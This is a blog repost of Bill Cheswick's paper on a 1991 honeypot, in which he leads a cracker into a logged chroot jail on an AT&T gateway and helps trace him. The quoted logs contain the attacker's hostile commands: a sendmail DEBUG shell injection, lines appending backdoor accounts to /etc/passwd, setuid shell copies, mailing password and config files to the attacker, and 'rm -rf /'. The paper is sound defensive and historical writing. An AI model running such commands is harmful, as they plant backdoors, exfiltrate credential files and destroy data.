BLUE CHRISTMAS

Minggu, 26 April 2009

CRACKER

CRACKER


On 7 January 1991 a cracker, believing he had discovered the famous sendmail DEBUG hole in our Internet gateway
machine, attempted to obtain a copy of our password file. I sent him one.
For several months we led this cracker on a merry chase in order to trace his location and learn his techniques. This
paper is a chronicle of the cracker’s “successes” and disappointments, the bait and traps used to lure and detect him,
and the chroot “Jail” we built to watch his activities.
We concluded that our cracker had a lot of time and persistence, and a good list of security holes to use once he
obtained a login on a machine. With these holes he could often subvert the uucp and bin accounts in short order, and
then root. Our cracker was interested in military targets and new machines to help launder his connections.
1. Introduction
Our secure Internet gateway was firmly in place by the spring of 1990[1]. With the castle gate in place, I wondered
how often the lock was tried. I knew there were barbarians out there. Who were they? Where did they attack from
and how often? What security holes did they try? They weren’t doing any damage to AT&T, merely fiddling with the
door. The ultimate fun would be to lure a cracker into a situation where we log his sessions, learn a thing or two, and
warn his subsequent targets.
The owner of an average workstation on the Internet has few tools for answering these questions. Commercial systems
detect and report some probes, but ignore many others. Our gateway was producing 10 megabytes of detailed logs
each day for the standard services. How often were people trying to use the services we did not support?
We added a few fake services, and I wrote a script to scan the logs daily. This list of services and other lures has
grown—we now check the following:
 FTP: The scanner produces a report of all login names that were attempted. It also reports the use of a tilde (a
possible probe of an old FTP bug), all attempts to obtain FTP’s /etc/passwd and /etc/group files, and
a list of all files stored in the pub directory. People who obtain the passwd file are often looking for account
names to try, and password entries to crack. Sometimes system administrators put their real password file in the
FTP directory. We have a bogus file whose passwords, when cracked, are why are you wasting your time.
 Telnet/login: All login attempts are logged and reviewed daily. It is easy to spot when someone is trying many
accounts, or hammering on a particular account. Since there are no authorized accounts for Internet users on our
gateway other than guard, it is easy to pick out probes.
 Guest/visitor accounts: A public computer account is the first thing a cracker looks for. These accounts provide
friendly, easy access to nearly every file in the machine, including the password file. The cracker can also get a
list of hosts trusted by this machine from the /etc/hosts.equiv and various personal .rhosts files. Our
login script for these accounts look something like this:
exec 2>/dev/null # ensure that stderr doesn’t appear
trap "" 1
/bin/echo
( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |
upasname=adm /bin/mail ches dangelo &
# (notify calling machine’s administrator for some machines...)
# (finger the calling machine...)
) 2>&1 | mail ches dangelo
/bin/echo "/tmp full"
sleep 5 # I love to make them wait....
/bin/echo "/tmp full"
/bin/echo "/tmp full"
/bin/echo
sleep 60 # ... and simulating a busy machine is useful
We have to be careful that the caller doesn’t see our error messages if we make a mistake in this script. Note that
$CALLER is the name or IP number of the machine on the other end. It is available to the user’s environment
through modifications to our telnetd and login programs.
 SMTP DEBUG: This command used to provide a couple of trap doors into sendmail. All the vendors seemed to
clean up this famous hole quite a while ago, but some crackers still try it occasionally. The hole allowed outsiders
to execute a shell script as root. When someone tries this on our machine, I receive the text that the cracker
wishes to have executed.
 Finger: Finger provides a lot of information useful to crackers: account names, when the account was last used,
and a few things to try as passwords. Since our corporate policy does not allow us to provide this information, we
put in a service that rejects the call after fingering the caller. (Obviously we had to take steps to avoid fingering
loops if the finger came from our gateway.) It turns out that we receive about a dozen finger requests per day, and
they are mostly legitimate. We now print useful information for general queries, but mail an alarm if someone
wants specific information about bogus accounts.
 Rlogin/rsh: These commands rely on a notoriously insecure authentication system, which we do not support. But
we do mail reports of attempts to use them along with reverse finger information and particulars like the user
name and desired command.
Many of these detectors perform a “reverse finger” to the calling machine. These fingers can often locate the calling
user on a busy machine after several probes, and even identify the previous hop on a laundered call.
When a probe appears to have no legitimate purpose, I send a message like the following:
inetfans postmaster@sdsu.edu
Yesterday someone from math.sdsu.edu fetched the /etc/passwd file
from our FTP directory. The file is not important, but these probes
are sometimes performed from stolen accounts.
Just thought you’d like to know.
Bill Cheswick
This is a typical letter. It is sent to ‘inetfans’ which consists of the Computer Emergency Response Team (CERT), a
log, and some interested parties, plus someone who is likely to care at the offending site.
Many system administrators take these reports quite seriously, especially the military sites. Generally, system administrators
are quite cooperative in hunting down these problems. Responses to these letters included apologies (some
lengthy), bounced messages, closed accounts, several tighter routers, and silence. When a site seems willing to sponsor
repeated cracker activity we consider refusing all packets from them.
2. Unfriendly Acts
We’ve been running this setup since July 1990. Probe rates go up during college vacations. Our rate may be
higher than most, because we are well-known and considered by some to be “The Phone Company.”
When a caller fetches the passwdfile during a long session, it is not always clear that he has evil intentions. Sometimes
they are just checking to see if any transfer will work.
The following log, from 15 Jan 1991, shows decidedly unfriendly activity:
19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP
19:43:14 smtpd[27466]: -------> debug
19:43:14 smtpd[27466]: DEBUG attempt
19:43:14 smtpd[27466]: <--- 200 OK
19:43:25 smtpd[27466]: -------> mail from:
19:43:25 smtpd[27466]: <--- 503 Expecting HELO
19:43:34 smtpd[27466]: -------> helo
19:43:34 smtpd[27466]: HELO from
19:43:34 smtpd[27466]: <--- 250 inet.att.com
19:43:42 smtpd[27466]: -------> mail from:
19:43:42 smtpd[27466]: <--- 250 OK
19:43:59 smtpd[27466]: -------> rcpt to:19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name
19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e ’1,/ˆ$/’d | /bin/sh ; exit 0">
19:44:44 smtpd[27466]: shell characters: |sed -e ’1,/ˆ$/’d | /bin/sh ; exit 0"
19:44:45 smtpd[27466]: <--- 250 OK
19:44:48 smtpd[27466]: -------> data
19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
19:45:04 smtpd[27466]: <--- 250 OK
19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
19:45:08 smtpd[27466]: -------> quit
19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating
19:45:08 smtpd[27466]: finished.
This is our log of an SMTP session. These arcane sessions are usually carried out between two mailers. In this case,
there was a human at the other end typing (and mistyping) commands to our mail demon. The first thing he tried was
the debug command. He must have been surprised when he got the “250 OK” response. The key line is the rcpt
to: command entered at 19:44:44. The text within the angled brackets of this command is usually the address of a
mail recipient. Here it contains a command line. Sendmail used to execute this command line as root when it was in
debug mode. The text of the actual mail message (not logged) is piped through
sed -e ’1,/ˆ$/’d | /bin/sh ; exit 0"
which strips off the mail headers and executes the rest of the message as root. The text of the message was mailed to
me. Here were two of these probes as I logged them, including a time stamp:
19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu He wanted us to mail him a copy of our password file, presumably to run it through a password cracking program.
Each of these probes came from a user adrian on EMBEZZLE.STANFORD.EDU. They were overtly hostile, and came
within half an hour of the announcement of U.S. air raids on Iraq. I idly wondered if Saddam had hired a cracker or
two. I happened to have the spare bogus passwd file in the FTP directory, so I mailed that to him with a return address
of root. I also sent the usual letter to Stanford.
The next morning I heard from the folks at Stanford: they knew about it, and were working on the problem. They also
said that the account adrian had been stolen.
The following Sunday morning I received a letter from France:
To: root@research.att.com
Subject: intruder
Date: Sun, 20 Jan 91 15:02:53 +0100
I have just closed an account on my machine
which has been broken by an intruder coming from embezzle.stanford.edu. He
(she) has left a file called passwd. The contents are:
------------
>From root@research.att.com Tue Jan 15 18:49:13 1991
Received: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);
Tue, 15 Jan 91 18:49:12 -0800
Message-Id: <9101160249.aa26092@embezzle.stanford.edu>
From: root@research.att.com
Date: Tue, 15 Jan 91 21:48 EST
To: adrian@embezzle.stanford.edu
Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:
Daemon: *:1:1:0000-Admin(0000):/:
Bin: *:2:2:0000-Admin(0000):/bin:
Sys: *:3:3:0000-Admin(0000):/usr/v9/src:
Adm: *:4:4:0000-Admin(0000):/usr/adm:
Uucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:
Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico
Ftp: anonymous:71:14:file transfer:/:no soap
Ches: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh
Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
Rtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh
Berferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh
Status: R
------------
Please let me know if you heard of him.
My bogus password file had traveled to France! A configuration error caused our mailer to identify the password text
as RFC 822 header lines, and carefully adjusted the format accordingly. The first letter was capitalized, and there was
a space added after the first colon on each line.
3. An Evening with Berferd
On Sunday evening, January 20, I was riveted to CNN like most people. A CNN bureau chief in Jerusalem was
casting about for a gas mask. I was quite annoyed when my terminal announced a security event:
22:33 finger attempt on berferd
A couple of minutes later someone used the debug command to submit commands to be executed as root—he wanted
our mailer to change our password file!
22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd
cp /bin/sh /tmp/shell
chmod 4755 /tmp/shell
Again, the connection came from EMBEZZLE.STANFORD.EDU.
What should I do? I didn’t want to actually give him an account on our gateway. Why invite trouble? I would have
no keystroke logs of his activity, and would have to clean up the whole mess later.
I’d like to string him along a little to see what other things he had in mind. Perhaps I could emulate the operating
system by hand. This means that I’d have to teach him that the machine is slow, because I am no match for a MIPS
M/120. It also meant that I would have to create a somewhat consistent simulated system, based on some decisions I
made up as I went along. I already had one Decision, because he had received a password file:
Decision 1 Ftp’s password file was the real one.
Here were a couple more:
Decision 2 The gateway machine is poorly administered. (After all, it had the DEBUG hole, and the FTP
directory should never contain a real password file.)
Decision 3 The gateway machine is terribly slow. It could take hours for mail to get through—even overnight!
So I wanted him to think he had changed our password file, but didn’t want to actually let him log in. I could create
an account, but make it inoperable. How?
Decision 4 The shell doesn’t reside in /bin, it resides somewhere else.
This decision was pretty silly, but I had nothing to lose. I whipped up a test account b with a little shell script. It would
send me mail when it was called, and had some sleeps in it to slow it down. The caller would see this:
RISC/os (inet)
login: b
RISC/os (UMIPS) 4.0 inet
Copyright 1986, MIPS Computer Systems
All Rights Reserved
Shell not found
Decision 3 explained why it took about ten minutes for the addition to the password file. I changed the b to beferdd
in the real password file. While I was setting this up he tried again:
22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd
Here’s another proposed addition to our password file. He must have put the space in after the login name because the
previous command hadn’t been “executed” yet, and he remembered the RFC 822 space in the file we sent him. Quite
a flexible fellow, actually. He got impatient while I installed the new account:
22:45 talk adrian@embezzle.standˆHford.edu
talk adrian@embezzle.stanford.edu
Decision 5 We don’t have a talk command.
Decision 6 Errors are not reported to the invader when the DEBUG hole is used. (I assume this is actually
true anyway.) Also, any erroneous commands will abort the script and prevent the processing of further
commands in the same script.
The talk request had come from a different machine at Stanford. I notified them in case they didn’t know. I checked
for Scuds on the TV.
He had chosen to attack the berferd account. This name came from the old Dick Van Dyke show when Jerry Van
Dyke called Dick “Berferd” “because he looked like one.” It seemed like a good name for our cracker.
There was a flurry of new probes. I guess Berferd didn’t have cable TV.
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU
22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU
22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd
22:57 (Added bfrd to the real password file.)
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:05 echo "36.92.0.205" >/dev/null
echo "36.92.0.205 embezzle.stanford.edu">>/etc./ˆHˆHˆH
23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts
Apparently he was trying to rlogin to our gateway. This requires appropriate entries in some local files. At the time
we did not detect attempted rlogin commands.
23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf
ps -aux|mail adrian@embezzle.stanford.edu
Following the presumed failed attempts to rlogin, Berferd wanted our inetd.conf file to discover which services
we did provide. I didn’t want him to see the real one, and it was too much trouble to make one.
Decision 7 The gateway computer is not deterministic. (We’ve always suspected that of computers anyway.)
23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
echo "embezzle.stanford.edu adrian" >> /tmp/.rhosts
ps -aux|mail adrian@embezzle.stanford.edu
mail adrian@embezzle.stanford.edu < /etc/inetd.conf
I didn’t want him to see a ps output either. Fortunately, his Berkeley ps command switches wouldn’t work on our
System V machine.
At this point I called CERT. This was an extended attack, and there ought to be someone at Stanford tracing the call.
I didn’t realize it would take weeks to get a trace. I wasn’t sure exactly what CERT does in these circumstances. Do
they call The Feds? Roust a prosecutor? Activate an international phone tap network? What they did was log and
monitor everything, and try to get me in touch with a system manager at Stanford. They seem to have a very good list
of contacts.
By this time I had numerous windows on my terminal running tail -f on various log files. I could monitor Riyadh and
all those demons at the same time. The action resumed with FTP:
Jan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
Jan 20 23:36:55 inet ftpd[14437]: -------> user bfrdˆM
Jan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.
Jan 20 23:37:06 inet ftpd[14437]: -------> passˆM
Jan 20 23:37:06 inet ftpd[14437]: <--- 500 ’PASS’: command not understood.
Jan 20 23:37:13 inet ftpd[14437]: -------> passˆM
Jan 20 23:37:13 inet ftpd[14437]: <--- 500 ’PASS’: command not understood.
Jan 20 23:37:24 inet ftpd[14437]: -------> HELPˆM
Jan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are
recognized (* =>’s unimplemented).
Jan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
Jan 20 23:37:31 inet ftpd[14437]: -------> QUITˆM
Jan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
Jan 20 23:37:31 inet ftpd[14437]: Logout, status 0
Jan 20 23:37:31 inet inetd[116]: exit 14437
Jan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454
Jan 20 23:37:41 inet inetd[116]: exit 14454
23:38 finger attempt on berferd
23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv
23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
cp /bin/sh /usr/etc/fingerd
Decision 4 dictates that the last line must fail. Therefore, he just broke the finger service on my simulated machine. I
turned off the real service.
23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
23:58 cp /bin/csh /usr/etc/fingerd
Csh wasn’t in /bin either, so that command “failed.”
00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
OK. Fingerd worked again. Nice of Berferd to clean up.
00:14 passwd bfrt
bfrt
bfrt
Now he was trying to change the password. This would never work, since passwd reads its input from /dev/tty,
not the shell script that sendmail would create.
00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:17 echo "/bin/sh" > /tmp/Shell
chmod 755 /tmp/shell
chmod 755 /tmp/Shell
00:19 chmod 4755 /tmp/shell
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
At this point I was tired. CNN had nothing interesting to report from the Middle East. I wanted to continue watching
Berferd in the morning, but I had to shut down my simulated machine until then. I was wondering how much effort
this was worth. Cliff Stoll had done a fine job before[2] and it wasn’t very interesting doing it over again. It was fun
to lead this guy on, but what’s the goal? I did want to keep him busy so that someone at Stanford could trace him,
but they wouldn’t be in until the morning. I could just shut down the gateway overnight: it is a research machine, not
production. I shut down the gateway after sending out a complaint about possible disk errors. I made sure Berferd
was sitting in one of those sleeps in the login when the message went out.
I decided I would like to have Berferd spend more time trying to get in than I spent leading him on. (In the long run
he won that battle.) After half an hour I concluded that this creep wasn’t worth holding up a night’s worth of mail. I
brought the machine back up, and went to sleep.
Berferd returned an hour later. Of course, the magic went away when I went to bed, but that didn’t seem to bother
him. He was hooked. He continued his attack at 00:40. The logs of his attempts were tedious until this command was
submitted for root to execute:
01:55 rm -rf /&
WHOA! Now it was personal! Obviously the machine’s state was confusing him, and he wanted to cover his tracks.
Some crackers defend their work, stating that they don’t do any real damage. Our cracker tried this with us, and
succeeded with this command on other systems.
He worked for a few more minutes, and gave up until morning.
07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
07:14 rm -rf /&
07:17 finger attempt on berferd
07:19 /bin/rm -rf /&
/bin/rm -rf /&
07:23 /bin/rm -rf /&
07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
4. The day after
It was time to catch up with all the commands he had tried after I went to sleep, including those three attempts
to erase all our files. To simulate the nasty rm command, I took the machine down for a little while, cleaned up the
simulated password file, and left a message from our hapless system administrator in /etc/motd about a disk crash.
My log showed the rest of the queued commands:
mail adrian@embezzle.stanford.edu < /etc/passwd
mail adrian@embezzle.stanford.edu < /etc/hosts
mail adrian@embezzle.stanford.edu < /etc/inetd.conf
ps -aux|mail adrian@embezzle.stanford.edu
ps -aux|mail adrian@embezzle.stanford.edu
mail adrian@embezzle.stanford.edu < /etc/inetd.conf
I mailed him the four simulated files, including the huge and useless /etc/hosts file. I even mailed him error
messages for the two ps commands in direct violation of the no-errors Decision 6.
In the afternoon he was still there, mistyping away:
13:41 Attempt to login to inet with bfrd from decaf.Stanford.EDU
13:41 Attempt to login to inet with bfrd from decaf.Stanford.EDU
14:05 Attempt to login to inet with bfrd from decaf.Stanford.EDU
16:07 echo "bffr ::7007:0::/:/v/bin/sh" >> /etc/oˆHpasswd
16:08 echo "bffr ::7007:0::/:/v/bin/sh" >> /etc/passwd
He worked for another hour that afternoon, and from time-to-time over the next week or so. I went to the Dallas
“CNN” Usenix, where his commands were simulated from the terminal room about twice a day. This response time
was stretching credibility, but his faith seemed unflagging.
5. The Jail
I never intended to use these tools to simulate a system in real-time. I wanted to watch the cracker’s keystrokes,
to trace him, learn his techniques, and warn his victims. The best solution was to lure him to a sacrificial machine and
tap the connection. The Ethernet is easy to tap, and modified tcpdump software can separate and store the sessions.
But I didn’t have a spare machine handy, so I took the software route. (Steve Bellovin did construct such a machine.
We never managed to lure anyone interesting to it.)
I consulted the local gurus about the security of a chroot environment. Their conclusion: it is not perfectly secure, but
if compilers and certain programs are missing, it is very difficult to escape. It is also not undetectable, but I figured that
Berferd was always in a hurry, and probably wouldn’t notice. We constructed such a chroot “Jail” (or “roach motel”)
and rigged up logged connections to it through our firewall machine (see Figure 1). Accounts berferd and guest were
connected to the Jail through this arrangement. Two logs were kept per session, one each for input and output. The
logs were labeled with starting and ending times.
The Jail was hard to set up. We had to get the access times in /dev right and update utmp for Jail users. Several
raw disk files were too dangerous to leave around. We removed ps, who, w, netstat, and other revealing programs.
The “login” shell script had to simulate login in several ways (see Figure 2.) Diana D’Angelo set up a believable file
system (this is very good system administration practice) and loaded a variety of silly and tempting files.
A little later Berferd discovered the Jail and rattled around in it. He looked for a number of programs that we later
learned contained his favorite security holes. To us the Jail was not very convincing, but Berferd seemed to shrug it
off as part of the strangeness of our gateway.
6. Tracing Berferd
Berferd spent a lot of time in our Jail. I spent a lot of time talking to Stephen Hansen at Stanford. Stephen spent
a lot of time trying to get a trace. Berferd was attacking us through one of several machines at Stanford. He connected
SETUPSUCKER
CALLSUCKER
JAIL
GATEWAY
MACHINE FIREWALL
LOGS
LDCON
Figure 1: Connections to the Jail.
to those machines from a terminal server connected to a Gandalf switch. He connected to the Gandalf over a telephone
line.
I checked the times he logged in to make a guess about the time zone he might be in. Here was a simple graph I made
of his session start times (PST):
1 2
Jan 012345678901234567890123
s 19 x
s 20 xxxx
m 21 x x xxxx
t 22 xxxxx x
w 23 xx x xx x xx
t 24 x x
f 25 x xxxx
s 26
s 27 xxxx xx x
m 28 x x x
t 29 x xxxx x
w 30 x
t 31 xx
Feb 012345678901234567890123
f 1 x x x
s 2 x xx xxx
s 3 x x xxxx x
m 4 x
It seemed to suggest a sleep period on the east coast of the U.S., but programmers are noted for strange hours. This
analysis wasn’t very useful, but was worth a try.
Stanford’s battle with Berferd is an entire story on its own, and I only know the outlines of their efforts. It took them
a long time to arrange for a trace, and they eventually obtained several. The calls came from the Netherlands. The
Dutch phone company refused to continue the trace to the caller because hacking was legal and there was no treaty in
place. (A treaty requires action by the Executive branch and approval by the U.S. Senate.)
In January, Wietse Venema of Eindhoven University contacted Stanford. Wietse hunted down a group of hackers, and
identified Berferd, including his name, address, and phone number. He also kept an eye on Berferd’s friends and their
# setupsucker login
SUCKERROOT=/usr/spool/hacker
login=‘echo $CDEST | cut -f4 -d!‘ # extract login from service name
home=‘egrep "ˆ$login:" $SUCKERROOT/etc/passwd | cut -d: -f6‘
PATH=/v:/bsd43:/sv; export PATH
HOME=$home; export HOME
USER=$login; export USER
SHELL=/v/sh; export SHELL
unset CSOURCE CDEST # hide these Datakit strings
#get the tty and pid to set up the fake utmp
tty=‘/bin/who | /bin/grep $login | /usr/bin/cut -c15-17 | /bin/tail -1‘
/usr/adm/uttools/telnetuseron /usr/spool/hacker/etc/utmp \
$login $tty $$ 1>/dev/null 2>/dev/null
chown $login /usr/spool/hacker/dev/tty$tty 1>/dev/null 2>/dev/null
chmod 622 /usr/spool/hacker/dev/tty$tty 1>/dev/null 2>/dev/null
/etc/chroot /usr/spool/hacker /v/su -c "$login" /v/sh -c "cd $HOME;
exec /v/sh /etc/profile"
/usr/adm/uttools/telnetuseroff /usr/spool/hacker/etc/utmp $tty \
>/dev/null 2>/dev/null
Figure 2: The setupsucker shell script emulates login, and it is quite tricky. We had to make the environment
variables look reasonable and attempted to maintain the Jail’s own special utmp entries for the residents. We had to
be careful to keep errors in the setup scripts from the hacker’s eyes.
activities.
At Stanford, Berferd was causing mayhem. He had subverted a number of machines and probed many more. Stephen
Hansen at Stanford and Tsutomu Shimomura of Los Alamos had some of the networks bugged. Tsutomu modified
tcpdump to provide a time-stamped recording of each packet. This allowed him to replay real-time terminal sessions.
Berferd attacked many systems at Stanford. They got very good at stopping his attacks within minutes after he logged
into a new machine. In one instance they watched his progress using the ps command. His login name changed to
uucp and then bin before the machine “had disk problems.”
Berferd used Stanford as a base for many months. There are tens of megabytes of logs of his activites. He had
remarkable persistence at a very boring job of poking computers. Once he got an account on a machine, there was little
hope for the system administrator. Berferd had a fine list of security holes. He knew obscure sendmail parameters and
used them well. (Yes, some sendmails have security holes for logged-in users, too. Why is such a large and complex
program allowed to run as root?) He had a collection of thoroughly invaded machines, complete with SUID-to-root
shell scripts usually stored in /usr/lib/term/.s. You do not want to give him an account on your computer.
7. Berferd comes home
In the Sunday New York Times on 21 April 1991, John Markoff broke some of the Berferd story. He said that
authorities were pursuing several Dutch hackers, but were unable to prosecute them because hacking is not illegal
under Dutch law.
The hackers heard about the article within a day or so. Wietse collected some mail between several members of the
Dutch cracker community. It was clear that they had bought the fiction of our machine’s demise. One of Berferd’s
friends found it strange that the Times didn’t include our computer in the list of those damaged.
On 1 May Berferd logged into the Jail. By this time we could recognize him by his typing speed and errors and the
commands he used to check around and attack. He probed various computers, while consulting the network whois
service for certain brands of hosts and new targets. He did not break into any of the machines he tried from our Jail.
Of the hundred-odd sites he attacked, three noticed the attempts, and followed up with calls from very serious security
officers. I explained to them that the hacker was legally untouchable as far as I knew, and the best we could do was
log his activities and supply logs to the victims. Berferd had many bases for laundering his connections. It was only
through persistence and luck that he was logged at all. Would the system administrator of an attacked machine prefer
a log of the cracker’s attack to vague deductions? Damage control is much easier when the actual damage known. If
a system administrator doesn’t have a log, he should reload his compromised system from the release tapes.
The systems administrators and their management agreed with me, and asked that I keep the Jail open.
At the request of management I shut the Jail down on 3 May. Berferd tried to reach it a few times, and went away. The
last I heard was that he was operating from a computer in Sweden.
8. Conclusions
For me, the most important lesson was
if a hacker obtains a login on a machine, there is a good chance he can become root sooner or later. There
are many buggy programs that run at high privileged levels that offer opportunities for a cracker. If he gets
a login on your computer, you are in trouble.
Other conclusions are:
 Though the Jail was an interesting and educational exercise, it was not worth the effort. It is too hard to get it
right, and never quite secure. A better arrangement involves a throwaway machine with real security holes, and
a monitoring machine on the same Ethernet to capture the bytes. Our version of the monitoring machine had the
transmit wire in the transceiver cable cut to avoid any possibility of releasing telltale packets.
 Breaking into computers requires a good list of security holes and a lot of persistence.
 Processing these security pokes isn’t much fun any more.
Once you go out of the computer environment that you control, tracing is difficult. It can involve many carriers, law
enforcement agencies, and even the U.S. Senate.
There are other services we should monitor. Tftp is certainly one: it easily provided the password file from a large
number of machines I tested. I would also like to monitor unsuccessful connection attempts to unused UDP and TCP
ports to detect unusual scanners.


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